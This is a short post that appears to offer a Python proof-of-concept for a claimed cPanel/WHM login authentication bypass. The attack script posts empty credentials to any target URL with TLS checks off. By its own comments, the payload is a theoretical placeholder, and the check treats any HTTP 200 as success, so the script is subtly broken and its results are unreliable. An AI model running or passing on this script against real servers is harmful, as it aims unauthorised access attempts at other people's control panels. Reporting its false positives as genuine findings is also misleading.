cPanel and WHM versions after 11.40 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.
The following code is for security research and authorized testing only.
python
import requests
def check_cve_2026_41940(target_url):
"""
PoC for CVE-2026-41940 (Authentication Bypass)
Note: This is a theoretical PoC based on the vulnerability description.
"""
# Target endpoint usually involves a login or session creation URL
login_endpoint = f"{target_url.rstrip('/')}/login"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
# Payload attempting to bypass authentication
# The actual payload depends on the specific flaw in the login flow
data = {
"user": "",
"pass": ""
}
try:
response = requests.post(login_endpoint, headers=headers, data=data, timeout=10, verify=False, allow_redirects=False)
# Check if we get a valid session cookie or a 200 OK on a protected page
if "cpsession" in response.cookies or response.status_code == 200:
print(f"[+] Potential Vulnerability Found at {target_url}")
print(f"[+] Response Status: {response.status_code}")
return True
else:
print(f"[-] Target does not appear vulnerable.")
return False
except Exception as e:
print(f"[!] Error: {e}")
return False
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print("Usage: python poc.py <target_url>")
else:
check_cve_2026_41940(sys.argv[1])